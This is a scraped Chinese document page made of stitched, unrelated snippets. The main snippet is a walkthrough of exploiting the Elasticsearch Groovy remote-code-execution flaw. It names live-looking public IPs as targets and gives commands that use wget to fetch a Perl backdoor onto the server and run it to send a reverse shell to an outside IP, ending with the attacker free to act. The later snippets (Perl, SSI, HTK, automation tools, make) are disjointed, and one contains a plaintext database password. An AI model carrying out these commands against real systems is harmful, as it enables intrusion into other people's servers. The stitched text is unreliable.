通过perl进行反弹shell
通过perl进行反弹shell
ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎，基于RESTful web接口。Elasticsearch是用Java开发的，并作为Apache许可条款下的开放源码发布，是第二最流行的企业搜索引擎。设计用于云计算中，能够达到实时搜索，稳定，可靠，快速，安装使用方便。目前网络公开部署Elasticsearch大概有数万台服务器，内部网络部署就不计其数了。Elasticsearch用了两个危险性的脚本MVEL和Groovy。2014年5月MVEL爆出来命令执行漏洞，这次轮到Groovy了，Elasticsearch 1.3.0-1.3.7 和1.4.0-1.4.2 的Groovy 脚本引擎存在漏洞。这个漏洞允许攻击者构造Groovy脚本绕过沙箱检查执行shell命令，已修复的版本是Elasticsearch 1.3.8 和1.4.3。这个漏洞不亚于Java Struct执行命令漏洞，对与Linux和Windows平台都适用，在实际测试中也有授权为最高权限root或者system权限的，可以获取webshell和最高系统权限。
受影响版本：
cpe:/a:elasticsearch:elasticsearch:1.4.2
cpe:/a:elasticsearch:elasticsearch:1.4.0
cpe:/a:elasticsearch:elasticsearch:1.3.7
cpe:/a:elasticsearch:elasticsearch:1.4.0:beta1
cpe:/a:elasticsearch:elasticsearch:1.4.1
(一)可利用POC
目标地址https://www.360docs.net/doc/3316371995.html,:9200/_search?pretty
POST提交以下数据
(二)perl可利用poc代码
将以下代码保存为ElasticSearch.py，执行python ElasticSearch.py https://www.360docs.net/doc/3316371995.html,:9200/ " cat /etc/issue " 即可执行命令。需要执行其它命令替换“cat /etc/issue”命令即可。
(三)通过perl脚本利用该0day获取权限思路
需要在公网IP准备一个pl的反弹脚本，例如back.pl，可以将脚本文件伪装为jpg文件上传到网站然后下载。例如
https://www.360docs.net/doc/3316371995.html,/lab/linux0day/back.pl.txt。然后依次执行以下命令即可。
说明：
(1)https://www.360docs.net/doc/3316371995.html,为被攻击目标的IP或者域名，IP地址123.123.123.123为公网独立IP，80端口为该服务器未开放端口。
(2)有部分服务器由于未安装perl环境，因此有可能执行命令失败。
(四)实战案例
(1)搜索目标对象
通过https://www.360docs.net/doc/3316371995.html,/或者https://www.360docs.net/doc/3316371995.html,搜索“ElasticSearch”关键词，直接访问网站地址https://www.360docs.net/doc/3316371995.html,/search?q=ElasticSearch&t=host即可获取结果。在该结果中可以看到各个国家使用该软件的分布情况。随机选择一个IP进行，本例选择第一个IP地址http://192.241.225.207/，同时单击IP地址右上角的一个小图框连接地址，例如打开地址http://192.241.225.207:9200/进行访问，确认该IP地址是否存活。
图1 搜索目标对象
(2)执行命令
直接执行python ElasticSearch.py http:// 192.241.225.207/ "/usr/bin/wget https://www.360docs.net/doc/3316371995.html,/lab/linux0day/back.pl.txt -O /tmp/back.pl" 命令，但反馈结果为“HTTP Error 500: Internal Server Error”，如图2所示。
再次使用FireFox便携版本进行测试，输入目标地址
http://192.241.225.207:9200/_search?pretty，在Post data中输入
其结果显示如图3所示，表明该漏洞已经修复或者不可用。
图2执行命令
图3再次测试漏洞是否可用
通过测试多个搜索结果，找到一个还存在漏洞的IP地址，在0day出来的第一时间基本每个目标都能执行，每多一分钟就减少一个，直接执行以下代码，成功运行，无任何结果显示，表明文件下载到服务本地成功。
python ElasticSearch.py http://192.241.222.40:9200/ "/usr/bin/wget https://www.360docs.net/doc/3316371995.html,/lab/linux0day/back.pl.txt -O /tmp/back.pl"
执行以下命令，成功后会显示“Perl Connect-back Backdoor、
Auther:Maple-x”表明shell执行成功，如图4所示。
python ElasticSearch.py http:// 192.241.222.40:9200/ "/usr/bin/perl /tmp/back.pl 124.123.122.11 80"
在本地监听端口过几秒种就会反弹shell回来，执行ifconfig命令，如图5所示，确认反弹shell成功，后续操作就任由入侵者发挥了!
图4反弹shell命令成功
图5成功获取shell
(五)修复方法
建议用户更新到最新版本。当然如果不想升级版本也可以通过修改elasticseach.yml的script.groovy.sandbox.enabled 为false就行了。注：请勿用于非法用途，仅供安全人员漏洞研究之用
【编辑推荐】
ElasticSearch远程代码执行漏洞告警
在centOS6.5安装perl 5.16.3及其相应模块
在centOS6.5 上安装perl-5.16.3 鉴于本项目前端capture所依赖的perl模块等原因，试过perl-5.10.1和perl-5.20.1之后均未成功，而且在https://www.360docs.net/doc/3316371995.html,/查阅得知，以上版本对于模块NetPacket::SpanningTree的兼容性未知甚至不兼容(在perl-5.20.1上安装未成功)，因此最终选择安装perl-5.16.3版本。 其步骤如下(参考来源： http://jianywww.virtualitworld.co.in/install-perl-5-18-0-in-centos-6-4/)：Step 1: 进入root用户，在终端输入su，然后输入root密码。如果是第一次进入root用户，必须先设置root密码，linux系统版本之间各不一样，怕误导大家，请自行度娘。 Step 2： 首先下载perl-5.16.3的包，可以用wget 下载网址（我用的是https://www.360docs.net/doc/3316371995.html,/src/5.0/perl-5.16.3.tar.gz）
Step 3： 然后对其进行解压，解压命令： tar –xzvf perl-5.16.3.tar.gz（再输入perl的时候直接使用Tab键自动帮你补齐文件名） 解压完毕之后进入解压之后的文件夹，利用cd命令 Step 4： 进入解压之后的perl-5.16.3文件夹之后，执行configure命令，输入命令:./Configure –des (后面接你要安装的文件路径，/usr/local/perl 这是我用的)
Step 5： 配置完成之后，在终端输入make命令 Step 6： 在终端输入make test命令 Step 7： 如果所有的test都是成功，就输入make install安装了
shtml入门教程（超详细）
超级详细shtml教程 SSI有什么用? 之所以要扯到ssi，是因为shtml--server-parsed HTML 的首字母缩略词。包含有嵌入式服务器方包含命令的HTML 文本。在被传送给浏览器之前，服务器会对SHTML 文档进行完全地读取、分析以及修改。 shtml和asp 有一些相似，以shtml命名的文件里，使用了ssi的一些指令，就像asp中的指令，你可以在SHTML文件中写入SSI指令，当客户端访问这些shtml文件时，服务器端会把这些SHTML文件进行读取和解释，把SHTML文件中包含的SSI指令解释出来 比如：你可以在SHTML文件中用SSI指令引用其他的html文件（#include ），服务器传送给客户端的文件，是已经解释的SHTML不会有SSI指令。它实现了HTML所没有的功能，就是可以实现了动态的SHTML，可以说是HTML的一种进化吧。像新浪的新闻系统就是这样的，新闻内容是固定的但它上面的广告和菜单等就是用#include引用进来的。 目前，主要有以下几种用用途： 1、显示服务器端环境变量<#echo> 2、将文本内容直接插入到文档中<#include> 3、显示WEB文档相关信息<#flastmod #fsize> (如文件制作日期/大小等) 4、直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序) 5、设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式) 高级SSI
数学建模常用软件
数学建模常用软件有哪些哈 MatlabMathematicalingoSAS详细介绍：数学建模软件介绍一般来说学习数学建模，常用的软件有四种，分别是：matlab、lingo、Mathematica和SAS下面简单介绍一下这四种。 1.MA TLAB的概况MA TLAB是矩阵实验室（Matrix Laboratory）之意。除具备卓越的数值计算能力外，它还提供了专业水平的符号计算，文字处理，可视化建模仿真和实时控制等功能。MATLAB的基本数据单位是矩阵，它的指令表达式与数学,工程中常用的形式十分相似,故用MATLAB来解算问题要比用C,FORTRAN等语言完相同的事情简捷得多. 当前流行的MA TLAB 5.3/Simulink 3.0包括拥有数百个内部函数的主包和三十几种工具包(Toolbox).工具包又可以分为功能性工具包和学科工具包.功能工具包用来扩充MATLAB的符号计算,可视化建模仿真,文字处理及实时控制等功能.学科工具包是专业性比较强的工具包,控制工具包,信号处理工具包,通信工具包等都属于此类. 开放性使MATLAB广受用户欢迎.除内部函数外,所有MA TLAB主包文件和各种工具包都是可读可修改的文件,用户通过对源程序的修改或加入自己编写程序构造新的专用工具包. 2.Mathematica的概况Wolfram Research 是高科技计算机运算( Technical computing )的先趋，由复杂理论的发明者Stephen Wolfram 成立于1987年，在1988年推出高科技计算机运算软件Mathematica，是一个足以媲美诺贝尔奖的天才产品。Mathematica 是一套整合数字以及符号运算的数学工具软件，提供了全球超过百万的研究人员，工程师，物理学家，分析师以及其它技术专业人员容易使用的顶级科学运算环境。目前已在学术界、电机、机械、化学、土木、信息工程、财务金融、医学、物理、统计、教育出版、OEM 等领域广泛使用。Mathematica 的特色·具有高阶的演算方法和丰富的数学函数库和庞大的数学知识库，让Mathematica 5 在线性代数方面的数值运算，例如特征向量、反矩阵等，皆比Matlab R13做得更快更好，提供业界最精确的数值运算结果。·Mathematica不但可以做数值计算，还提供最优秀的可设计的符号运算。·丰富的数学函数库，可以快速的解答微积分、线性代数、微分方程、复变函数、数值分析、机率统计等等问题。·Mathematica可以绘制各专业领域专业函数图形，提供丰富的图形表示方法，结果呈现可视化。·Mathematica可编排专业的科学论文期刊，让运算与排版在同一环境下完成，提供高品质可编辑的排版公式与表格，屏幕与打印的自动最佳化排版，组织由初始概念到最后报告的计划，并且对txt、html、pdf 等格式的输出提供了最好的兼容性。·可与C、C++ 、Fortran、Perl、Visual Basic、以及Java 结合，提供强大高级语言接口功能，使得程序开发更方便。·Mathematica本身就是一个方便学习的程序语言。Mathematica提供互动且丰富的帮助功能，让使用者现学现卖。强大的功能，简单的操作，非常容易学习特点，可以最有效的缩短研发时间。 3.lingo的概况LINGO则用于求解非线性规划（NLP—NON—LINEAR PROGRAMMING）和二次规则（QP—QUARATIC PROGRAMING）其中LINGO 6.0学生版最多可版最多达300个变量和150个约束的规则问题，其标准版的求解能力亦再10^4量级以上。虽然LINDO和LINGO不能直接求解目标规划问题,但用序贯式算法可分解成一个个LINDO和LINGO能解决的规划问题。模型建立语言和求解引擎的整合LINGO是使建立和求解线性、非线性和整数最佳化模型更快更简单更有效率的综合工具。LINGO提供强大的语言和快速的求解引擎来阐述和求解最佳化模型。■简单的模型表示LINGO可以将线性、非线性和整数问题迅速得予以公式表示，并且容易阅读、了解和修改。■方便的数据输入和输出选择LINGO建立的模型可以直接从数据库或工作表获取资料。同样地，LINGO可以将求解结果直接输出到数据库或工作表。■强大的求解引擎LINGO内建的求解引擎有线性、非线性(convex and nonconvex)、二次、二次
windows下编译htk3.4傻瓜式教程
(原创)windows下编译htk3.4傻瓜式教程 作者：ICT superyang (转载请注明原地址，谢谢！本文中提到的软件在pudn上均有下载，已设置免注册下载，地址为https://www.360docs.net/doc/3316371995.html,/downloads400/sourcecode/windows/console/detail1706968.html，如有任何问题，请邮件联系cqusuperyang#https://www.360docs.net/doc/3316371995.html,或登录我的博客https://www.360docs.net/doc/3316371995.html,/cqusuperyang 留言) 近期我所在的实验室课题组需要做语音识别合成这一块的研究，因此需要用到htk做一些数据方面的分析，基于此，才有了下面这篇windows下编译htk的教程，编译过程中参照了不少网络上的资料，对提供这些资料的朋友表示感谢! 首先简单介绍一下HTK,HTK是用于自动语音识别研究的工具包，它是由剑桥大学工程系(https://www.360docs.net/doc/3316371995.html,)的机器智能实验室开发的开源软件，全称为Hidden Markov Toolkit(隐马尔科夫工具包)，具体信息请参考官方网站上的介绍https://www.360docs.net/doc/3316371995.html, 1、下载官方源码包，https://www.360docs.net/doc/3316371995.html,/download.shtml 因为是在windows下编译，所以我们需要将windwos downloads下的HTK source code以及HTK samples下载到本地磁盘上 2、解压文件，我在这里是将这两个解压文件放在D盘根目录下，打开HTK source code目录，阅读README里的介绍，在windows下安装有一系列的先决条件，我在这里翻译一下： 1)HTK在visual studio下编译测试通过（主要是为了使用nmake工具，推荐使用VC6.0） 2)测试demo时，需要安装ActivePerl(Perl解释器，为了运行测试脚本) 3)需要7-zip或winzip解压工具 4)需要理解一些DOS命令行知识 5)Path中需要包含路径C:\Program Files\Microsoft Visual https://www.360docs.net/doc/3316371995.html,2003\Vc7\bin （Visual https://www.360docs.net/doc/3316371995.html,2003）或C:\Program Files\Microsoft Visual Studio\VC98\bin（VC6.0） 3、开始编译 1)打开DOS命令行窗口 点击开始→运行，输入cmd，回车 2)进行入到解压后的HTK source code文件夹下
PERL和Python的比较研究
Perl和Python的比较研究 随着系统管理的复杂化和网络运用的扩展，脚本语言在实际编程中的应用越来越广泛。传统观念是：一般的高级语言如C/C++,Java,Delphi等用来编写主要的功能组件，如java的类和beans，用C/C++写的动态连接库，用VisualBasic写的控件等，而脚本语言如JavaScript,Vbscript,perl,python,sh等通常认为脚本语言是介于HTML应用的发展和脚本语言本身的发展，脚本语言的应用早就超出仅仅作为常规编程语言的辅助角色而用来直接开发应用系统，著名的网络流控制系统mrgt就是用perl开发的。现在的脚本语言，其功能甚至强大到可以和一般高级语言相媲美，而且引入较新的程序机制和技术（如OO和异常处理），加上固有的简单易用，逐渐发展为程序开发的一支主流。脚本语言的基本特征是语法简单，跨平台，类型宽松，解释执行。早期的脚本语言？本文选择现今在自由软件开发里很具代表性和广泛使用的两种脚本语言perl和python进行比较研究，以期使读者能对这两种脚本语言的基本特点和新发展有一定的了解。 一、 两者初识 Perl（可以看作Practical Extraction And Reporting Language的首字母）语言最早由Larry Wall开发，原始动机即作为一个文本提取和报告的实用语言，本来是基于UNIX系统，后来发展成能运行于几乎所有的机器体系和操作系统。Larry Wall是坚实的免费软件拥护者，所以perl也成为免费软件之一(但不属GNU)，按自由免费软件的一般模式发展和传播（perl中的源代码、标准库文件、可选模块及所有文档都免费提供，并被用户团体所支持）。从1988年的最初诞生，到现在的perl 6系列版本，perl能够如此稳健蓬勃的发展是和它自由免费、简单高效(语法上象C和Unix的sh，解释执行前会简单编译，有点象java)、强可扩展性、数据类型灵活、面向对象以及有强大规范的用户团体交流(CPAN, Comprehensive Perl Archive Network)和幕后支持组织(CPAST, Comprehensive Perl Arcana Society Tapestry)分不开的。 Python最初出现在2000年前后，名字来源一喜剧团体Monty Python，并无实际代表意义。Python最初由Guido van Rossum及其合作者设计开发，后来python开发小组多次重组，最终到Digital Creations。Python和perl一样是在迅速稳定发展，目前的一个著名成功业绩是Digital Creations开发的zope，下一代开放源码应用服务器以及门户工具。从抽象的功能和特点来说，python是和perl 最相像的语言，可能和perl的成功和python的较晚出现有关。和perl一样，python 也是自由免费、简单高效、强可扩展性、数据类型灵活、面向对象的。并且python 的功能相对更强大，更易于编写大程序，核心又较小。尽管从抽象的角度，perl 和python两者有很大的相似，但作为不同的语言，他们却是又有许多差别，下文从几个主要的方面对两者进行深入的比较研究，尽量能找出它们的异同并对它们一些进行原理和模型层次的探讨。 下面我们先来看一下如何用这两个语言实现最简单的“hello!”程序，先对它们有个大概的印象。在perl情形，先选择一个你比较喜欢的文本编辑器编写hello.pl程序如下： #This is a hello saying demo
如何搭建SoC项目的基本Testbench(eetop)
先啰嗦几句。其实老早就想写这个帖子，自己犯懒一直木有写。前阵子写了一个初版，然 后发给了几个做验证的朋友看了看，普遍反映没看明白. 说是我写的东西和我搭的 环境结合的太过紧密了，不结合代码，理解的不透彻。可惜代码是公司的，我不能把代码发出来。我后来写了一个带很多代码截屏的版本，但是很抱歉没法发到论坛上来。 我个人觉得下面的文字已经能表达我的想法和思想了，希望能对帖的有一点帮助吧。 --------------------------------------------- 写这个文档的目的是让大家对搭建SoC项目的Testbench有一个比较清晰的认识，可以根据这个文档来一步一步的搭建起一个SoC项目的基本的testbench。本文档重点是指导大家搭建基本环境，以及能解决搭建Testbench过程中容易遗漏的问题或者容易遇到的“地雷”。我搭的SoC项目的testbench会有一些相对特殊的点： 1） 要有嵌入式的软件。这里包括两部分，一是初始化的bootloader（一般是固化在rom或者存放在外部的flash里），一是boot起来以后放在外部易失性存储介质上的应用层的程序。2） 正常启动起来（一级boot可以切到应用程序了）以后，为了简化流程，我们要使用ISS的环境。 --- 这是比较特殊的一个点 3） 环境主要脚本的维护和修改。主要是单个仿真和批量仿真（regression）核心脚本 4） 为了优化仿真和编译速度，我们要能把不用的模块dummy掉。 5） 文件列表的处理 6） SoC软件与Testbench都能访问的“共享空间”的处理 7） 公用函数的准备，比如根据CPU看到的地址空间直接访问外部DRAM的数组，进行初始化写、数据写和数据读操作。 8） 环境变量的维护。 9） Define文件的维护 10）DDRC的替换（一个是AXI_SLV_VIP的替换，一个是简单AXI_SLV模型的替换） 磨刀不误砍柴工，把需要的东西提前准备好，搭建Testbench就像搭积木一样简单快速了。环境变量维护 使用module工具来维护整个项目的环境变量。目的是为了让项目上的工程师都使用统一的环境（主要是工具版本和环境变量）。 核心脚本的维护 两个脚本：run_sim 和regress。 run_sim负责提交单个仿真任务，regress负责提交批量仿真任务。两个脚本已经使用了很多项目了，脚本的具体说明我以后专门开专题讲。在这里只提醒一下，run_sim脚本通常需要根据不同的项目做微小的改变。 run_sim和regress都是比较大的perl脚本程序,大致描述一下功能。
Catalyst入门教程
Catalyst入门教程(第1版) 前言 本教程是在CPAN上Catalyst的文档基础上编写的. 阅读本教程前你需要具备的知识： 1. 使用过perl编写cgi程序 2. 使用过perl的DBI编写perl程序进行数据库操作 编写者: 小生菜菜 联系邮箱: laomoi@https://www.360docs.net/doc/3316371995.html, 第 1 页
Catalyst入门教程(第1版) 目录 第 1 章CATALYST的简介 (3) 第1节搭建C A TAL YST开发环境 (3) 第2节创建第一个C A TAL YST项目 (4) 第 2 章剖析应用程序类 (8) 第 3 章掌握CONTROLLER (10) 第1节C ONTROLLER简介 (10) 第2节ACTION详解 (14) 第3节如何编写ACTION (23) 第 4 章掌握VIEW (29) 第1节简介 (29) 第2节TT入门 (32) 第3节把TT作为V IEW使用 (40) 第 5 章掌握MODEL (43) 第1节简介 (43) 第2节DBI X::C LASS::S CHEMA入门 (44) 第3节.把DBIC::S CHEMA作为M ODEL使用 (58) 第 6 章调试CATALYST程序 (62) 第 2 页
Catalyst入门教程(第1版) 第 1 章Catalyst的简介 使用perl进行web开发,传统的做法是写*.cgi文件,然后把这些cgi文件配到web server里面,当web server收到客户端的request时,就调用对应的cgi进行处理. 用这种方法进行web开发, cgi文件之间相对比较独立,代码里面可能含有大量的重复代码,整个系统的结构也是比较松散的, 可扩展性也不强. Catalyst是一套用来web开发的框架,基于Catalyst开发的web系统,具有比较强的可扩展性. 第1节搭建Catalyst开发环境 1 一般方法: 在linux系统上安装Catalyst只需要使用CPAN安装即可(推荐) cpan -i Catalyst cpan -i Catalyst::Devel(用来运行Catalyst项目的机器不需要安装该模块,如果需要使用Catalyst进行开发则需要安装该模块) 在windows上安装可以使用ppm,但是过程比较繁琐,不建议. 2 安装脚本 Matt Trout写了一个安装脚本: https://www.360docs.net/doc/3316371995.html,/static/cat-install 只需要从该链接下载脚本,然后 perl cat-install即可按顺序安装相关模块,可用于windows跟linux,如果用于windows的话,必须保证你的机器上有c编译器和make工具. 3 模块打包方法(推荐) Chris Laco把Catalyst相关的模块打成了一个包:https://www.360docs.net/doc/3316371995.html,/downloads/CatInABox.tar.gz 把该包下载下来不需要安装即可马上使用.可用于windows跟linux系统. 第 3 页
编写Perl脚本学习手册
1.目录 1.1 Perl模块安装 安装好了需要用Perl命令调一下 1.2 使用集成的工具进行开发 国外的优秀软件可以写perl,python,ruby 等等是集成的工具
调用相关的命令
输出打印的信息 中文的相关设置
C:\Perl64\site\bin;C:\Perl64\bin;C:\app\Administrator\product\11.2.0\dbhome_2\bin;C:\Windo ws\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPower Shell\v1.0\;C:\Program Files (x86)\Oracle\Instant Client\bin 环境相关变量 下面是测试程序 #!/usr/bin/perl -w use strict; use warnings; use DBI; my $dbname="orcl"; my $user="huangxin"; my $passwd="qq123456";
my $dbh=""; #$dbh = DBI->connect('dbi:Oracle:',q{system/000000@(DESCRIPTION = # (ADDRESS = (PROTOCOL = TCP)(HOST = WCNXL186023-5HH)(PORT = 1521)) # (CONNECT_DATA = # (SERVER = DEDICATED) # (SERVICE_NAME = https://www.360docs.net/doc/3316371995.html,) # )},""); $dbh=DBI->connect("dbi:Oracle:localhost/orcl",$user,$passwd) or die "can't connect to database ". DBI->errstr; # my $sth=$dbh->prepare("select * from emp"); $sth->execute; while (my @recs=$sth->fetchrow_array) { print $recs[0].":".$recs[1]."\n"; } $dbh->disconnect; 成功部分的截屏
按键精灵图文教程
手把手教你用“按键精灵”图文教程 类型：转载 按键精灵是一个可以模拟电脑操作的软件，您在电脑上的一切动作都可以让按键精灵模拟执行，完全解放您的双手。按键精灵可以帮你操作电脑，不需要任何编程知识就可以作出功能强大的脚本。 如果你还为一些枯燥、繁琐的电脑操作而烦恼，按键精灵绝对会是你最好的帮手。 那么，按键精灵具体能帮我们干什么呢？我们来列举几个例子来说明下。 * 网络游戏中可作脚本实现自动打怪,自动补血,自动说话等； * 办公族可用它自动处理表格、文档，自动收发邮件等； * 任何你觉得“有点烦”的电脑操作都可以替你完成。按键精灵第一个实现了“动动鼠标就可以制作出脚本”的功能。我们不希望为了使用一个小软件而去学习编程知识，考虑到这些，所以按键精灵完全界面操作就可以制作脚本。按键精灵的脚本是纯粹的TXT文件，即使是目前新增了插件功能，也引入了数字签名的机制。因此我们可以放心的使用网站上的脚本而不用担心会有病毒。 脚本就是一系列可以反复执行的命令.通过一些判断条件,可以让这些命令具有一定的智能效果.我们可以通过”录制”功能制作简单的脚本,还可通过”脚本编辑器”制作更加智能的脚本.今天我们就通过录制一个最简单的脚本，来手把手的教大家使用按键精灵。 上网一族一般开机后会先看看自己邮箱，或者看看自己博客；每天如此，可能都有些烦了。现在好了，把这些繁杂的事情交给按键精灵吧。今天我们就来录制一个自动登录博客，并对整个页面进行浏览的脚本。 首先，我们打开“按键精灵”。其运行界面如下（图1）： 图1 运行界面 打开软件后点击工具栏上“新建”项（如图2）；之后进入“脚本编译器”界面（如图3）。
GENESIS脚本编程教材PERL
Perl学习笔记 (2) 1.Perl简介 (2) 2.数据类型 (4) 2.1概览 (4) 2.2命名空间(Namespaces)4 2.3标量(Scalars)5 2.4数组(Arrays)8 2.5关联数组(Hashes)11 2.6引用(References)12 2.6.1Perl引用简介 (12) 2.6.2创建引用 (12) 2.6.3使用引用 (13) 2.6.4符号引用 (14) 2.6.5垃圾回收与弱引用 (15) 2.7数据结构 (16) 2.7.1Arrays of Arrays16 2.7.2Hash of Arrays18 2.7.3Arrays of Hashes20 2.7.4Hashes of Hashes22 2.7.5Hashes of Functions24 3操作符（Operators） (25) 3.1概述 (25)
3.2Perl操作符一览 (25) 3.3各种操作符使用说明 (27) 3.3.1项与左赋列表操作符 (27) 3.3.2箭头操作符 (27) 3.3.3自增自减 (27) 3.3.4乘方 (27) 3.3.5表意一元操作符 (28) 3.3.6捆绑操作符 (28) 3.3.7乘操作符 (28) 3.3.8加操作符 (28) 3.3.9移位操作符 (29) 3.3.9有名一元和文件测试操作符 (29) 3.3.10关系操作符 (30) 3.3.11位操作符 (31) 3.3.12C风格逻辑操作符 (31) 3.3.13范围操作符 (31) 3.3.14条件操作符 (31) 3.3.14赋值操作符 (32) 3.3.15逗号操作符 (32) 3.3.16逻辑and,or,not和xor操作符 (33) 3.4与C操作符的比较 (33) 3.4.1Perl操作符的特别之处 (33)
按键精灵经典教程
按键精灵经典教程 一、键盘命令（2~5页） 二、鼠标命令（5~13页） 三、控制命令（13~22页） 四、颜色/图像命令（22~28页） 五、其他命令（28~355页）五、网游脚本实例（35~最后）
一、键盘命令 命令名称：GetLastKey 检测上次按键命令功能：检测上次按键 命令参数：参数1 整数型，可选：变量名 返回值：无 脚本例子：(8.x语法) 复制代码 1.//脚本运行到这一行不会暂停,调用的时候立即返回，得到调用之前最后一次 按下的按键码保存在变量Key里。 2.Key=GetLastKey() 3.If Key = 13 Then 4. Msgbox "你上次按下了回车键" 5.End If 脚本例子：(7.x语法) 复制代码 1.//脚本运行到这一行不会暂停,调用的时候立即返回，得到调用之前最后一次 按下的按键码保存在变量Key里。 2.GetLastKey Key 3.If Key = 13 4. Msgbox "你上次按下了回车键" 5.EndIf 命令名称：KeyDown 按住 命令功能：键盘按住 命令参数：参数1 整数型，键盘虚拟码（8.X支持按键字符） 参数2 整数型，次数 返回值：无 脚本例子：(8.x语法) 复制代码 1.//KeyDown、KeyDownS、KeyDownH 2.//KeyDownS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要 求,PS2(圆口)和USB接口的键盘都可以使用 3.//KeyDownH: 硬件模拟方式,仅支持PS(圆口)的键盘点击查看使用硬件模
4.KeyDown 65,1 5.//65是A键的按键码，上面的语句表示按住A键1次 6. 7.KeyDown "A",1 8.//上面的支持按键字符，语句表示按住A键1次 脚本例子：(7.x语法) 复制代码 1.//KeyDown、KeyDownS、KeyDownH 2.//KeyDownS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要 求,PS2(圆口)和USB接口的键盘都可以使用 3.//KeyDownH: 硬件模拟方式,仅支持PS(圆口)的键盘点击查看使用硬件模 拟方式的注意事项 4.KeyDown 65,1 5.//65是A键的按键码，上面的语句表示按住A键1次 命令名称：KeyPress 按键 命令功能：键盘按键 命令参数：参数1 整数型，键盘虚拟码（8.X支持按键字符） 参数2 整数型，次数 返回值：无 脚本例子：(8.x语法) 复制代码 1.//KeyPress、KeyPressS、KeyPressH 2.//KeyPressS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要 求,PS2(圆口)和USB接口的键盘都可以使用 3.//KeyPressH: 硬件模拟方式,仅支持PS(圆口)的键盘点击查看使用硬件 模拟方式的注意事项 4.KeyPress 65,1 5.//65是A键的按键码，上面的语句表示按A键1次 6. 7.KeyPress "A",1 8.//上面的支持按键字符，语句表示按A键1次 脚本例子：(7.x语法) 复制代码 1.//KeyPress、KeyPressS、KeyPressH 2.//KeyPressS: 超级模拟方式,兼容性更强,对键盘和鼠标没有特别的要 求,PS2(圆口)和USB接口的键盘都可以使用 3.//KeyPressH: 硬件模拟方式,仅支持PS(圆口)的键盘点击查看使用硬件
Linux编程make命令介绍
Linux编程make命令介绍 摘要:在开发一个系统时，一般是将一个系统分成几个模块，这样做提高了系统的可维护性，但由于各个模块间不可避免存在关联，所以当一个模块改动后，其他模块也许会有所更新，当然对小系统来说，手工编译连接是没问题，但是如果是一个大系统，存在很多个模块，那么手工编译的方法就不适用了。为此，在Linux 系统中，专门提供了一个make命令来自动维护目标文件，与手工编译和连接相比，make命令的优点在于他只更新修改过的文件（在Linux中，一个文件被创建或更新后有一个最后修改时间，make命令就是通过这个最后修改时间来判断此文件是否被修改），而对没修改的文件则置之不理，并且make命令不会漏掉一个需要更新的文件。 文件和文件间或模块或模块间有可能存在倚赖关系，make命令也是依据这种依赖关系来进行维护的，所以我们有必要了解什么是依赖关系；打个最比喻：如果我们想玩游戏，必须有游戏光碟和电脑（这两者间存在依赖关系），而有游戏光碟和电脑的前提条件是必须经济条件允许，另外当你有了游戏光碟后还要根据你的心情来选择是玩哪种游戏；如下图： 玩游戏 / / 游戏光碟电脑 / / / / 心情经济情况 make命令当然不会自己知道这些依赖关系，而需要程序员将这些依赖关系写入一个叫makefile的文件中。Makefile文件中包含着一些目标，通常目标就是文件名，对每一个目标，提供了实现这个目标的一组命令以及和这个目标有依赖关系的其他目标或文件名，以下是一个简单的Makefile的简单例子： #一个简单的Makefile prog:prog1.o prog2.o //prog目标依赖prog1.o和prog2.o gcc prog1.o prog2.o -o prog //prog1.o和prog2.o生成prog prog1.o:prog1.c lib.h //prog1.o 依赖 prog1.c lib.h gcc -c -I. -o prog1.o prog1.c prog2.o:prog2.c gcc -c prog2.c 以上Mamefile中定义了三个目标：prog、prog1和prog2，分号后是依赖文件列表，中间用一个分号隔开； 对于第一个目标文件prog来说，他有两个依赖文件：prog1.o和prog2.o，任何一个依赖文件更新，prog 也要随之更新，命令gcc prog1.o prog2.o -o prog是生成prog的命令。make检查目标是否需要更新时采用递归的方法，递归从底层向上对过时目标进行更新，只有当一个目标所依赖的所有目标都为最新时，这个目标才会被更新。以上面的Makefile为例，我们修改了prog2.c，执行make时，由于目标prog依赖prog1.o
Perl命令行参数
Perl命令行参数 执行控制 -e 指定字符串以作为脚本（多个字符串迭加）执行 -M 导入模块 -I 指定目录以搜索标准位置前的模块 整洁性 -w 打开警告 -Mstrict 打开严格编译指示（pragma） 数据 -0 （这是个零）指定输入记录分隔符 -a 将数据分割成名为@F 的数组 -F 指定分割时-a 使用的模式（请参阅perldoc -f split） -i 在适当的位置编辑文件（请参阅perldoc perlrun 以获取大量详细信息） -c 进行perl的语法检查，但不执行perl命令 -F 把缺省的分离号改为你想要的。例如把分离号定为非字符 -l 使用-l有两个效果，第一自动chomp输入分隔号，第二把$/值付给$\(这样print的时候就会自动在末尾加\n) -n 使用<>将所有@ARGV参数当作文件来逐行运行，会将读入的内容隐式的逐一按行来遍历文件，每一行将缺省保存在$_ -p 和-n一样，但是还会打印$_的内容 请注意-p 开关和-n 开关的使用 当您想显式打印数据时，使用-n开关。-p开关隐式地将print $_语句插入到-n开关所产生的循环中。因此，-p开关更适用于对文件进行的完全处理，而-n开关更适用于选择性文件处理，这样的处理只需打印特定数据。 以下是一些常用的简单实例 #perl -pi –e?s/aaa/bbb/? filename 修改当前file文件中的文件，不生成中间文件，速度很快。记住-i开关，因为它让你原地编辑文件。 #perl -ne …print if /^aaaaa/? filename 象grep一样过滤文件中需要的内容。这个地方使用了-n，所以一次是做一行的操作，直到整个文件读完。另外在管道时，-n也会一样来遍历管道送过来的内容。 # perl -n -e 'print "$. – $_"' filename 这个例子中的，没用-ne，只是命令写成了-n –e，其实一样，这个例子中是给当前文件中的内容都加一个行号打印出来。 注：$.表示当前行号
Perl语言编程
作者简介 Larry Wall是Perl的创造者，也是其他一些流行的Unix自由软件的作者，包括rn新闻阅读器和无处不在的patch程序。从学历来看，Larry实际上是一位语言学家，是加州大学伯克利分校和洛杉矶分校的毕业生。 编辑推荐 本书有哪些新的内容呢？老实说几乎所有都是新的。本书第三版涵盖了新的Perl 5.6版本，不仅完全重新组织了一遍，而且还用无数个例子强化了这些内容。大多数现有的主题都是从头重写的，如面向对象编程和正则表达式，并添加了许多全新的章节。
